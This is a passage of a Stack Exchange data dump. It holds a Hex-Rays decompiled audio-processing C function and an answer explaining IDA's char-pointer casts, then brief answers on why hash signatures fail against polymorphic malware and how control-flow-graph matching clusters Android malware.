double v34; // rtt@21  &#xA;  double v35; // st2@21  &#xA;  double v36; // st6@21  &#xA;  double v37; // rt0@23  &#xA;  double v38; // st2@23  &#xA;  double v39; // st4@23  &#xA;  double v40; // st5@23  &#xA;  double v41; // st2@23  &#xA;  double v42; // rt0@23  &#xA;  double v43; // st2@23  &#xA;  double v44; // rt1@23  &#xA;  double v45; // st2@23  &#xA;  double v46; // rtt@23  &#xA;  double v47; // rt0@24  &#xA;  double v48; // st2@24  &#xA;  double v49; // rtt@24  &#xA;  double v50; // rt0@25  &#xA;  double v51; // st2@25  &#xA;  double v52; // st7@25  &#xA;  double v53; // st2@26  &#xA;  double v54; // st6@26  &#xA;  double v55; // rt2@26  &#xA;  double v56; // st2@26  &#xA;  double v57; // st7@26  &#xA;  double v58; // rtt@28  &#xA;  double v59; // rtt@29  &#xA;  double v60; // rt1@30  &#xA;  double v61; // st2@30  &#xA;  double v62; // st6@30  &#xA;  double v63; // st2@31  &#xA;  double v64; // st7@31  &#xA;  double v65; // rtt@31  &#xA;  double v66; // st2@31  &#xA;  double v67; // st6@31  &#xA;  double v68; // rt0@33  &#xA;  double v69; // st2@33  &#xA;  double v70; // st4@33  &#xA;  double v71; // st5@33  &#xA;  double v72; // st2@33  &#xA;  double v73; // rt0@33  &#xA;  double v74; // st2@33  &#xA;  double v75; // rt1@33  &#xA;  double v76; // st2@33  &#xA;  double v77; // rtt@33  &#xA;  double v78; // rt0@34  &#xA;  double v79; // st2@34  &#xA;  double v80; // rtt@34  &#xA;  double v81; // rt0@35  &#xA;  double v82; // st2@35  &#xA;  double v83; // st7@35  &#xA;  double v84; // st2@36  &#xA;  double v85; // st6@36  &#xA;  double v86; // rt2@36  &#xA;  double v87; // st2@36  &#xA;  double v88; // rtt@38  &#xA;  double v89; // rtt@39  &#xA;  double v90; // st1@40  &#xA;  double v91; // rt1@40  &#xA;  double v92; // st2@40  &#xA;  float *v93; // ecx@42  &#xA;  int v94; // edx@42  &#xA;  double v95; // rt2@43  &#xA;  double v96; // st3@43  &#xA;  double v97; // rt0@43  &#xA;  double v98; // st2@45  &#xA;  double v99; // st7@45  &#xA;  double v100; // rt2@45  &#xA;  double v101; // st2@45  &#xA;  double v102; // st6@45  &#xA;  double v103; // rtt@47  &#xA;  double v104; // st2@47  &#xA;  double v105; // st4@47  &#xA;  double v106; // st5@47  &#xA;  double v107; // st2@47  &#xA;  double v108; // rtt@47  &#xA;  double v109; // st2@47  &#xA;  double v110; // rt0@47  &#xA;  double v111; // st2@47  &#xA;  double v112; // rt2@47  &#xA;  double v113; // rtt@48  &#xA;  double v114; // st2@48  &#xA;  double v115; // rt2@48  &#xA;  double v116; // st1@49  &#xA;  double v117; // rtt@49  &#xA;  double v118; // st2@49  &#xA;  double v119; // st7@49  &#xA;  int v120; // edx@51  &#xA;  int v121; // edi@51  &#xA;  int v122; // ecx@52  &#xA;  unsigned int v123; // edx@52  &#xA;  int v124; // eax@52  &#xA;  int v125; // eax@56  &#xA;  int v126; // edx@56  &#xA;  double v127; // st7@57  &#xA;  int v128; // edx@59  &#xA;  double v129; // st7@59  &#xA;  int v130; // edi@60  &#xA;  int v131; // ecx@60  &#xA;  float v132; // ST18_4@61  &#xA;  double v133; // ST30_8@61  &#xA;  double v134; // st1@61  &#xA;  bool v135; // c0@61  &#xA;  bool v136; // c3@61  &#xA;  double v137; // st1@61  &#xA;  float v138; // ST30_4@63  &#xA;  float v139; // ST30_4@63  &#xA;  float v140; // ST18_4@63  &#xA;  double v141; // ST30_8@63  &#xA;  double v142; // st1@63  &#xA;  bool v143; // c0@63  &#xA;  bool v144; // c3@63  &#xA;  double v145; // st1@63  &#xA;  float v146; // ST30_4@65  &#xA;  float v147; // ST30_4@65  &#xA;  float v148; // ST18_4@65  &#xA;  double v149; // ST30_8@65  &#xA;  double v150; // st1@65  &#xA;  bool v151; // c0@65  &#xA;  bool v152; // c3@65  &#xA;  double v153; // st1@65  &#xA;  float v154; // ST30_4@67  &#xA;  float v155; // ST30_4@67  &#xA;  float v156; // ST18_4@67  &#xA;  double v157; // ST30_8@67  &#xA;  double v158; // st1@67  &#xA;  bool v159; // c0@67  &#xA;  bool v160; // c3@67  &#xA;  double v161; // st1@67  &#xA;  float v162; // ST30_4@69  &#xA;  float v163; // ST30_4@69  &#xA;  int v164; // edi@71  &#xA;  int v165; // ecx@71  &#xA;  int v166; // esi@71  &#xA;  float v167; // ST18_4@72  &#xA;  double v168; // ST30_8@72  &#xA;  double v169; // st1@72  &#xA;  bool v170; // c0@72  &#xA;  bool v171; // c3@72  &#xA;  double v172; // st1@72  &#xA;  float v173; // ST4C_4@74  &#xA;  float v174; // ST4C_4@74  &#xA;  int v175; // edx@75  &#xA;  int v176; // esi@75  &#xA;  int v177; // ecx@76  &#xA;  unsigned int v178; // edx@76  &#xA;  int v179; // eax@76  &#xA;  int v180; // eax@80  &#xA;  int v181; // edx@80  &#xA;  double v182; // st7@81  &#xA;  float EXi; // [sp+10h] [bp-3Ch]@21 MAPDST  &#xA;  float y2; // [sp+14h] [bp-38h]@20 MAPDST  &#xA;  double y2j; // [sp+14h] [bp-38h]@61 MAPDST  &#xA;  int L; // [sp+20h] [bp-2Ch]@5  &#xA;  float *outBuf; // [sp+24h] [bp-28h]@3  &#xA;  float *N; // [sp+28h] [bp-24h]@1  &#xA;  int i; // [sp+2Ch] [bp-20h]@18  &#xA;  int nrLevel; // [sp+38h] [bp-14h]@6 MAPDST  &#xA;  float *G; // [sp+3Ch] [bp-10h]@1  &#xA;  float *xFreq; // [sp+40h] [bp-Ch]@1  &#xA;  int bufLength; // [sp+44h] [bp-8h]@1  &#xA;  int v218; // [sp+48h] [bp-4h]@60  &#xA;&#xA;  scratch = CG.Scratch;  &#xA;  v3 = Q-&amp;gt;G;  &#xA;  xTime = Q-&amp;gt;xTime;  &#xA;  v5 = CG.ERB_Length;  &#xA;  ++Q-&amp;gt;count;  &#xA;  xFreq = scratch;  &#xA;  G = v3;  &#xA;  N = Q-&amp;gt;N;  &#xA;  bufLength = v5;  &#xA;  if ( !(Q-&amp;gt;Enabled &amp;amp; 0x10000000) )  &#xA;    return -5;  &#xA;  outBuf = signal-&amp;gt;buffer;  &#xA;  if ( !signal-&amp;gt;buffer )  &#xA;    return -1;  &#xA;  v7 = 0;  &#xA;  L = CG.blockLength;  &#xA;  if ( CG.blockLength &amp;gt;= 4 )  &#xA;  {  &#xA;    nrLevel = (char *)xTime - (char *)scratch;  &#xA;    v8 = &amp;amp;scratch[CG.blockLength];  &#xA;    v9 = xFreq + 1;  &#xA;    v10 = outBuf + 2;  &#xA;    v7 = 0;  &#xA;    do  &#xA;    {  &#xA;      *(v9 - 1) = xTime[v7];  &#xA;      v7 += 4;  &#xA;      v9 += 4;  &#xA;      *v8 = *(v10 - 2);  &#xA;      v8 += 4;  &#xA;      *(v9 - 4) = *(float *)((char *)v9 + nrLevel - 16);  &#xA;      v10 += 4;  &#xA;      *(v8 - 3) = *(float *)((char *)v9 + (char *)outBuf - (char *)xFreq - 16);  &#xA;      *(v9 - 3) = *(float *)((char *)v10 + (char *)xTime - (char *)outBuf - 16);  &#xA;      *(v8 - 2) = *(v10 - 4);  &#xA;      *(v9 - 2) = xTime[v7 - 1];  &#xA;      *(v8 - 1) = *(v10 - 3);  &#xA;    }  &#xA;    while ( v7 &amp;lt; L - 3 );  &#xA;  }  &#xA;  if ( v7 &amp;lt; L )  &#xA;  {  &#xA;    v11 = &amp;amp;xFreq[v7];  &#xA;    v12 = &amp;amp;xFreq[v7 + L];  &#xA;    v13 = L - v7;  &#xA;    do  &#xA;    {  &#xA;      v14 = *(float *)((char *)v11 + (char *)xTime - (char *)xFreq);  &#xA;      ++v11;  &#xA;      *(v11 - 1) = v14;  &#xA;      ++v12;  &#xA;      --v13;  &#xA;      *(v12 - 1) = *(float *)((char *)v11 + (char *)outBuf - (char *)xFreq - 4);  &#xA;    }  &#xA;    while ( v13 );  &#xA;  }  &#xA;  WindowFft(xFreq, L);  &#xA;  AmpSpectrum(xFreq, xTime);  &#xA;  if ( Q-&amp;gt;count &amp;lt; 20 &amp;amp;&amp;amp; signal-&amp;gt;Silence )  &#xA;  {  &#xA;    if ( v5 &amp;gt; 0 )  &#xA;    {  &#xA;      v15 = 1.0;  &#xA;      v16 = N;  &#xA;      v17 = 0.5;  &#xA;      nrLevel = v5;  &#xA;      while ( 1 )  &#xA;      {  &#xA;        v19 = (float *)((char *)v16 + (char *)xTime - (char *)N);  &#xA;        v20 = v17;  &#xA;        v21 = v15;  &#xA;        v22 = v20;  &#xA;        *(float *)((char *)v19 + (char *)G - (char *)xTime) = v21;  &#xA;        ++v16;  &#xA;        v23 = nrLevel-- == 1;  &#xA;        *(v16 - 1) = *v19 * v20 + *(v16 - 1) * v20;  &#xA;        if ( v23 )  &#xA;          break;  &#xA;        v18 = v21;  &#xA;        v17 = v22;  &#xA;        v15 = v18;  &#xA;      }  &#xA;    }  &#xA;  }  &#xA;  else  &#xA;  {  &#xA;    v24 = 0.94999999;  &#xA;    v25 = 0.050000001;  &#xA;    i = 0;  &#xA;    v26 = 0.99800003;  &#xA;    v27 = 0.0020000001;  &#xA;    v28 = 0.99980003;  &#xA;    if ( v5 &amp;gt;= 4 )  &#xA;    {  &#xA;      v29 = (int)(N + 1);  &#xA;      v30 = ((unsigned int)(v5 - 4) &amp;gt;&amp;gt; 2) + 1;  &#xA;      v31 = xTime + 3;  &#xA;      i = 4 * v30;  &#xA;      do  &#xA;      {  &#xA;        y2 = *(v31 - 3);  &#xA;        if ( *(float *)(v29 - 4) &amp;lt;= (double)y2 )  &#xA;        {  &#xA;          if ( Q-&amp;gt;count &amp;gt;= 2000 )  &#xA;          {  &#xA;            v47 = y2;  &#xA;            EXi = 0.99980003;  &#xA;            y2 = 0.00019999999;  &#xA;            v48 = v24;  &#xA;            v33 = v47;  &#xA;            v49 = v48;  &#xA;            v35 = v25;  &#xA;            v36 = v49;  &#xA;          }  &#xA;          else  &#xA;          {  &#xA;            v37 = y2;  &#xA;            EXi = v26;  &#xA;            v38 = v27;  &#xA;            v39 = v26;  &#xA;            y2 = v38;  &#xA;            v40 = v38;  &#xA;            v41 = v24;  &#xA;            v33 = v37;  &#xA;            v42 = v41;  &#xA;            v43 = v25;  &#xA;            v36 = v42;  &#xA;            v44 = v43;  &#xA;            v45 = v40;  &#xA;            v26 = v39;  &#xA;            v46 = v45;  &#xA;            v35 = v44;  &#xA;            v27 = v46;  &#xA;          }  &#xA;        }  &#xA;        else  &#xA;        {  &#xA;          v32 = v24;  &#xA;          v33 = y2;  &#xA;          EXi = v32;  &#xA;          v34 = v32;  &#xA;          v35 = v25;  &#xA;          v36 = v34;  &#xA;          y2 = v35;  &#xA;        }  &#xA;        v50 = v35;  &#xA;        v51 = v33 * y2 + *(float *)(v29 - 4) * EXi;  &#xA;        v52 = v50;  &#xA;        *(float *)(v29 - 4) = v51;  &#xA;        y2 = *(float *)(v29 + (char *)xTime - (char *)N);  &#xA;        if ( *(float *)v29 &amp;lt;= (double)y2 )  &#xA;        {  &#xA;          if ( Q-&amp;gt;count &amp;gt;= 2000 )  &#xA;          {  &#xA;            v59 = y2;  &#xA;            EXi = 0.99980003;  &#xA;            y2 = 0.00019999999;  &#xA;            v56 = v52;  &#xA;            v57 = v36;  &#xA;            v54 = v59;  &#xA;          }  &#xA;          else  &#xA;          {  &#xA;            v58 = y2;  &#xA;            EXi = v26;  &#xA;            y2 = v27;  &#xA;            v56 = v52;  &#xA;            v57 = v36;  &#xA;            v54 = v58;  &#xA;          }  &#xA;        }  &#xA;        else  &#xA;        {  &#xA;          v53 = v36;  &#xA;          v54 = y2;  &#xA;          EXi = v53;  &#xA;          v55 = v53;  &#xA;          v56 = v52;  &#xA;          v57 = v55;  &#xA;          y2 = v56;  &#xA;        }  &#xA;        v60 = v56;  &#xA;        v61 = v54 * y2 + *(float *)v29 * EXi;  &#xA;        v62 = v60;  &#xA;        *(float *)v29 = v61;  &#xA;        y2 = *(v31 - 1);  &#xA;        if ( *(float *)(v29 + 4) &amp;lt;= (double)y2 )  &#xA;        {  &#xA;          if ( Q-&amp;gt;count &amp;gt;= 2000 )  &#xA;          {  &#xA;            v78 = y2;  &#xA;            EXi = 0.99980003;  &#xA;            y2 = 0.00019999999;  &#xA;            v79 = v57;  &#xA;            v64 = v78;  &#xA;            v80 = v79;  &#xA;            v66 = v62;  &#xA;            v67 = v80;  &#xA;          }  &#xA;          else  &#xA;          {  &#xA;            v68 = y2;  &#xA;            EXi = v26;  &#xA;            v69 = v27;  &#xA;            v70 = v26;  &#xA;            y2 = v69;  &#xA;            v71 = v69;  &#xA;            v72 = v57;  &#xA;            v64 = v68;  &#xA;            v73 = v72;  &#xA;            v74 = v62;  &#xA;            v67 = v73;  &#xA;            v75 = v74;  &#xA;            v76 = v71;  &#xA;            v26 = v70;  &#xA;            v77 = v76;  &#xA;            v66 = v75;  &#xA;            v27 = v77;  &#xA;          }  &#xA;        }  &#xA;        else  &#xA;        {  &#xA;          v63 = v57;  &#xA;          v64 = y2;  &#xA;          EXi = v63;  &#xA;          v65 = v63;  &#xA;          v66 = v62;  &#xA;          v67 = v65;  &#xA;          y2 = v66;  &#xA;        }  &#xA;        v81 = v66;  &#xA;        v82 = v64 * y2 + EXi * *(float *)(v29 + 4);  &#xA;        v83 = v81;  &#xA;        *(float *)(v29 + 4) = v82;  &#xA;        y2 = *v31;  &#xA;        if ( *(float *)(v29 + 8) &amp;lt;= (double)y2 )  &#xA;        {  &#xA;          if ( Q-&amp;gt;count &amp;gt;= 2000 )  &#xA;          {  &#xA;            v89 = y2;  &#xA;            EXi = 0.99980003;  &#xA;            y2 = 0.00019999999;  &#xA;            v87 = v83;  &#xA;            v24 = v67;  &#xA;            v85 = v89;  &#xA;          }  &#xA;          else  &#xA;          {  &#xA;            v88 = y2;  &#xA;            EXi = v26;  &#xA;            y2 = v27;  &#xA;            v87 = v83;  &#xA;            v24 = v67;  &#xA;            v85 = v88;  &#xA;          }  &#xA;        }  &#xA;        else  &#xA;        {  &#xA;          v84 = v67;  &#xA;          v85 = y2;  &#xA;          EXi = v84;  &#xA;          v86 = v84;  &#xA;          v87 = v83;  &#xA;          v24 = v86;  &#xA;          y2 = v87;  &#xA;        }  &#xA;        v90 = *(float *)(v29 + 8);  &#xA;        v29 += 16;  &#xA;        v31 += 4;  &#xA;        --v30;  &#xA;        v91 = v87;  &#xA;        v92 = v85 * y2 + v90 * EXi;  &#xA;        v25 = v91;  &#xA;        *(float *)(v29 - 8) = v92;  &#xA;      }  &#xA;      while ( v30 );  &#xA;    }  &#xA;    if ( i &amp;lt; v5 )  &#xA;    {  &#xA;      v93 = &amp;amp;N[i];  &#xA;      v94 = v5 - i;  &#xA;      while ( 1 )  &#xA;      {  &#xA;        y2 = *(float *)((char *)v93 + (char *)xTime - (char *)N);  &#xA;        if ( *v93 &amp;lt;= (double)y2 )  &#xA;        {  &#xA;          if ( Q-&amp;gt;count &amp;gt;= 2000 )  &#xA;          {  &#xA;            v113 = y2;  &#xA;            EXi = v28;  &#xA;            y2 = 0.00019999999;  &#xA;            v114 = v24;  &#xA;            v99 = v113;  &#xA;            v115 = v114;  &#xA;            v101 = v25;  &#xA;            v102 = v115;  &#xA;          }  &#xA;          else  &#xA;          {  &#xA;            v103 = y2;  &#xA;            EXi = v26;  &#xA;            v104 = v27;  &#xA;            v105 = v26;  &#xA;            y2 = v104;  &#xA;            v106 = v104;  &#xA;            v107 = v24;  &#xA;            v99 = v103;  &#xA;            v108 = v107;  &#xA;            v109 = v25;  &#xA;            v102 = v108;  &#xA;            v110 = v109;  &#xA;            v111 = v106;  &#xA;            v26 = v105;  &#xA;            v112 = v111;  &#xA;            v101 = v110;  &#xA;            v27 = v112;  &#xA;          }  &#xA;        }  &#xA;        else  &#xA;        {  &#xA;          v98 = v24;  &#xA;          v99 = y2;  &#xA;          EXi = v98;  &#xA;          v100 = v98;  &#xA;          v101 = v25;  &#xA;          v102 = v100;  &#xA;          y2 = v101;  &#xA;        }  &#xA;        v116 = *v93;  &#xA;        ++v93;  &#xA;        --v94;  &#xA;        v117 = v101;  &#xA;        v118 = v99 * y2 + v116 * EXi;  &#xA;        v119 = v117;  &#xA;        *(v93 - 1) = v118;  &#xA;        if ( !v94 )  &#xA;          break;  &#xA;        v95 = v28;  &#xA;        v96 = v119;  &#xA;        v24 = v102;  &#xA;        v97 = v96;  &#xA;        v28 = v95;  &#xA;        v25 = v97;  &#xA;      }  &#xA;    }  &#xA;  }  &#xA;  if ( Q-&amp;gt;Enabled &amp;amp; 0x2000000 )  &#xA;  {  &#xA;    v128 = 0;  &#xA;    v129 = CG.dbTable[Q-&amp;gt;nrLeveldB];  &#xA;    if ( v5 &amp;gt;= 4 )  &#xA;    {  &#xA;      v130 = (int)(N + 2);  &#xA;      v218 = (char *)N - (char *)G;  &#xA;      v131 = (int)(G + 1);  &#xA;      nrLevel = (char *)xTime - (char *)N;  &#xA;      do  &#xA;      {  &#xA;        EXi = xTime[v128];  &#xA;        v132 = *(float *)(v130 - 8) * 8.0;  &#xA;        v133 = EXi - v132;  &#xA;        v134 = EXi * v129;  &#xA;        y2j = v134;  &#xA;        v135 = v133 &amp;lt; v134;  &#xA;        v136 = v133 == v134;  &#xA;        v137 = v133;  &#xA;        if ( v135 || v136 )  &#xA;          v137 = y2j;  &#xA;        v138 = v137;  &#xA;        v139 = v138 / (EXi + 1.0 + 2.0);  &#xA;        *(float *)(v131 - 4) = v139 * 0.300000011920929 + *(float *)(v131 - 4) * 0.699999988079071;  &#xA;        EXi = *(float *)(nrLevel + v131 + v218);  &#xA;        v140 = *(float *)(v131 + v218) * 8.0;  &#xA;        v141 = EXi - v140;  &#xA;        v142 = EXi * v129;  &#xA;        y2j = v142;  &#xA;        v143 = v141 &amp;lt; v142;  &#xA;        v144 = v141 == v142;  &#xA;        v145 = v141;  &#xA;        if ( v143 || v144 )  &#xA;          v145 = y2j;  &#xA;        v146 = v145;  &#xA;        v147 = v146 / (EXi + 1.0 + 2.0);  &#xA;        *(float *)v131 = v147 * 0.300000011920929 + *(float *)v131 * 0.699999988079071;  &#xA;        EXi = *(float *)(v130 + nrLevel);  &#xA;        v148 = *(float *)v130 * 8.0;  &#xA;        v149 = EXi - v148;  &#xA;        v150 = EXi * v129;  &#xA;        y2j = v150;  &#xA;        v151 = v149 &amp;lt; v150;  &#xA;        v152 = v149 == v150;  &#xA;        v153 = v149;  &#xA;        if ( v151 || v152 )  &#xA;          v153 = y2j;  &#xA;        v154 = v153;  &#xA;        v155 = v154 / (EXi + 1.0 + 2.0);  &#xA;        *(float *)(v131 + 4) = v155 * 0.300000011920929 + *(float *)(v131 + 4) * 0.699999988079071;  &#xA;        EXi = xTime[v128 + 3];  &#xA;        v156 = *(float *)(v130 + 4) * 8.0;  &#xA;        v157 = EXi - v156;  &#xA;        v158 = EXi * v129;  &#xA;        y2j = v158;  &#xA;        v159 = v157 &amp;lt; v158;  &#xA;        v160 = v157 == v158;  &#xA;        v161 = v157;  &#xA;        if ( v159 || v160 )  &#xA;          v161 = y2j;  &#xA;        v162 = v161;  &#xA;        v5 = bufLength;  &#xA;        v128 += 4;  &#xA;        v131 += 16;  &#xA;        v130 += 16;  &#xA;        v163 = v162 / (EXi + 1.0 + 2.0);  &#xA;        *(float *)(v131 - 8) = v163 * 0.300000011920929 + *(float *)(v131 - 8) * 0.699999988079071;  &#xA;      }  &#xA;      while ( v128 &amp;lt; bufLength - 3 );  &#xA;    }  &#xA;    if ( v128 &amp;lt; v5 )  &#xA;    {  &#xA;      v164 = (char *)N - (char *)G;  &#xA;      v165 = (int)&amp;amp;G[v128];  &#xA;      v166 = v5 - v128;  &#xA;      do  &#xA;      {  &#xA;        EXi = *(float *)(v165 + v164 + (char *)xTime - (char *)N);  &#xA;        v167 = *(float *)(v165 + v164) * 8.0;  &#xA;        v168 = EXi - v167;  &#xA;        v169 = EXi * v129;  &#xA;        y2j = v169;  &#xA;        v170 = v168 &amp;lt; v169;  &#xA;        v171 = v168 == v169;  &#xA;        v172 = v168;  &#xA;        if ( v170 || v171 )  &#xA;          v172 = y2j;  &#xA;        v173 = v172;  &#xA;        v165 += 4;  &#xA;        --v166;  &#xA;        v174 = v173 / (EXi + 1.0 + 2.0);  &#xA;        *(float *)(v165 - 4) = v174 * 0.300000011920929 + *(float *)(v165 - 4) * 0.699999988079071;  &#xA;      }  &#xA;      while ( v166 );  &#xA;    }  &#xA;    FreqSmooth(G, xFreq, 0.5);  &#xA;    v175 = L;  &#xA;    v176 = 0;  &#xA;    if ( L &amp;gt;= 4 )  &#xA;    {  &#xA;      v177 = (int)(outBuf + 3);  &#xA;      v178 = ((unsigned int)(L - 4) &amp;gt;&amp;gt; 2) + 1;  &#xA;      v179 = (int)(xTime + 1);  &#xA;      v176 = 4 * v178;  &#xA;      do  &#xA;      {  &#xA;        v179 += 16;  &#xA;        *(float *)(v179 - 20) = *(float *)(v177 - 12);  &#xA;        v177 += 16;  &#xA;        --v178;  &#xA;        *(float *)(v179 - 16) = *(float *)(v179 + (char *)outBuf - (char *)xTime - 16);  &#xA;        *(float *)(v179 - 12) = *(float *)(v177 - 20);  &#xA;        *(float *)(v179 - 8) = *(float *)(v177 - 16);  &#xA;      }  &#xA;      while ( v178 );  &#xA;      v175 = L;  &#xA;    }  &#xA;    if ( v176 &amp;lt; v175 )  &#xA;    {  &#xA;      v180 = (int)&amp;amp;xTime[v176];  &#xA;      v181 = v175 - v176;  &#xA;      do  &#xA;      {  &#xA;        v182 = *(float *)((char *)outBuf - (char *)xTime + v180);  &#xA;        v180 += 4;  &#xA;        --v181;  &#xA;        *(float *)(v180 - 4) = v182;  &#xA;      }  &#xA;      while ( v181 );  &#xA;    }  &#xA;    Reconstruct(xFreq, outBuf, Q-&amp;gt;by);  &#xA;    return 0;  &#xA;  }  &#xA;  v120 = L;  &#xA;  v121 = 0;  &#xA;  if ( L &amp;gt;= 4 )  &#xA;  {  &#xA;    v122 = (int)(outBuf + 3);  &#xA;    v123 = ((unsigned int)(L - 4) &amp;gt;&amp;gt; 2) + 1;  &#xA;    v124 = (int)(xTime + 1);  &#xA;    v121 = 4 * v123;  &#xA;    do  &#xA;    {  &#xA;      v124 += 16;  &#xA;      *(float *)(v124 - 20) = *(float *)(v122 - 12);  &#xA;      v122 += 16;  &#xA;      --v123;  &#xA;      *(float *)(v124 - 16) = *(float *)((char *)outBuf - (char *)xTime + v124 - 16);  &#xA;      *(float *)(v124 - 12) = *(float *)(v122 - 20);  &#xA;      *(float *)(v124 - 8) = *(float *)(v122 - 16);  &#xA;    }  &#xA;    while ( v123 );  &#xA;    v120 = L;  &#xA;  }  &#xA;  if ( v121 &amp;gt;= v120 )  &#xA;    return 0;  &#xA;  v125 = (int)&amp;amp;xTime[v121];  &#xA;  v126 = v120 - v121;  &#xA;  do  &#xA;  {  &#xA;    v127 = *(float *)(v125 + (char *)outBuf - (char *)xTime);  &#xA;    v125 += 4;  &#xA;    --v126;  &#xA;    *(float *)(v125 - 4) = v127;  &#xA;  }  &#xA;  while ( v126 );  &#xA;  return 0;  &#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14455" LastEditorUserId="14025" LastEditDate="2016-04-19T19:32:11.520" LastActivityDate="2016-04-19T19:32:11.520" Title="Pointer arithmetic in C generated by ida / hexrays decompiler" Tags="|ida|decompiler|float|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12479" PostTypeId="2" ParentId="12478" CreationDate="2016-04-19T08:20:22.133" Score="2" Body="&lt;p&gt;These casts are done to make the pointer arithmetic that's happening more clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you add an integer to a pointer, the integer internally gets multiplied by the size of the object the pointer is pointing to, so when &lt;code&gt;fp&lt;/code&gt; is a float pointer, assuming 4 byte floats, &lt;code&gt;fp+1&lt;/code&gt; will point to a memory location 4 bytes behind &lt;code&gt;fp&lt;/code&gt;. And in the same way, pointer subtraction divides the byte difference by the object type, so with &lt;code&gt;fp1&lt;/code&gt; and &lt;code&gt;fp2&lt;/code&gt; being float pointers, something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fp1=&amp;amp;array[3];&#xA;fp2=&amp;amp;array[7];&#xA;printf(&quot;%d\n&quot;, fp2-fp1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you'll get a result of 4, not 16, even though there are 16 bytes between both addresses. (Which is the reason why pointer subtraction works with the same pointer type only, and is undefined behaviour if both pointers don't point into the same array).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now look at an expression like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*(float *)((char *)v9 + (char *)outBuf - (char *)xFreq - 16);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;v9&lt;/code&gt;, &lt;code&gt;outBuf&lt;/code&gt;, and &lt;code&gt;xFreq&lt;/code&gt; declared &lt;code&gt;float *&lt;/code&gt;, this is identical to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*(v9 + outBuf - xFreq - 4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or even&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v9[outBuf-xFreq-4].&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, as ida can only guess the data types, there is a certain chance it guesses wrong, and you might want to change them later. But if you do that, the meaning of the expression changes as well, as the integer part of the expression gets scaled differently. To avoid that, when working with pointer arithmetic, ida casts all pointers to &lt;code&gt;char *&lt;/code&gt; first, does its arithmetic, then casts the result back to what the pointer is supposed to be pointing to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also helps you match the assembler with the original source, because it avoids turning a &lt;code&gt;sub XXX, 16&lt;/code&gt; assembly instruction into a &lt;code&gt;XXX - 4&lt;/code&gt; C expression.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-04-19T08:20:22.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12480" PostTypeId="2" ParentId="11976" CreationDate="2016-04-19T09:08:19.450" Score="3" Body="&lt;p&gt;&lt;strong&gt;Not in the long run.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hashing of certain parts of files is still used to push data updates quickly when a new malicious sample shows up in the wild, to get the clients protected as soon as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But malware nowadays is very polymorphic so hashing is easy to defeat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Detailed analysis of samples take a lot of time often weeks or months &#xA;and after that more generic/heuristic detections will be made which can cover the samples detected by hashes previously, so the hash signatures are dropped from the database gradually.&lt;/p&gt;&#xA;" OwnerUserId="15826" LastActivityDate="2016-04-19T09:08:19.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12481" PostTypeId="2" ParentId="11976" CreationDate="2016-04-19T12:26:27.237" Score="1" Body="&lt;p&gt;No form of hashing, when used alone, is a good way of developing an AV solution.  While hashes can be useful for finding instances of a known sample across a network, heuristic and behavioural AV systems are far more likely to protect the host from infection.&lt;/p&gt;&#xA;" OwnerUserId="14676" LastActivityDate="2016-04-19T12:26:27.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12482" PostTypeId="2" ParentId="11976" CreationDate="2016-04-19T13:17:03.157" Score="0" Body="&lt;p&gt;Using hashes is not a good idea since today's malwares use crypters which will use a function called USG (unique-stub-generater). This makes every file different, this means your hash will only work on exactly that file!&#xA;Also new malwares have selfmodifying code which will make it harder, because the malware crypts itself every startup (or timeframe).&lt;/p&gt;&#xA;" OwnerUserId="15828" LastActivityDate="2016-04-19T13:17:03.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12484" PostTypeId="2" ParentId="12449" CreationDate="2016-04-19T18:01:19.390" Score="5" Body="&lt;p&gt;If the control flow graph has not been obfuscated then you could use those to match methods. The biggest hurdle to this is building up the database of library signatures. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Control flow graphs are the structure that the basic blocks make when viewed as a directed graph. [1] These represent the possible paths of execution in a method. They are relatively easy to parse out and recover from a compiled application. Most Android and Java obfuscation focuses on method names and not on control flow. Also, the Java / Dalvik bytecode can change between compilations if the methods are modified or moved. That's where comparing structure comes in handy, unless serious changes are made, the control flow is likely to remain the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some work with control flow graph matching in Android applications. [2][3] The project's real strength turned out to be malware strain clustering. It would match methods that were of similar structure and you could see that certain applications shared methods with other applications, and how the strains evolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking to create a Java function signature a combination between structural and byte base matching would be very powerful.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Control_flow_graph&quot;&gt;https://en.wikipedia.org/wiki/Control_flow_graph&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/douggard/CFGScanDroid&quot;&gt;https://github.com/douggard/CFGScanDroid&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a 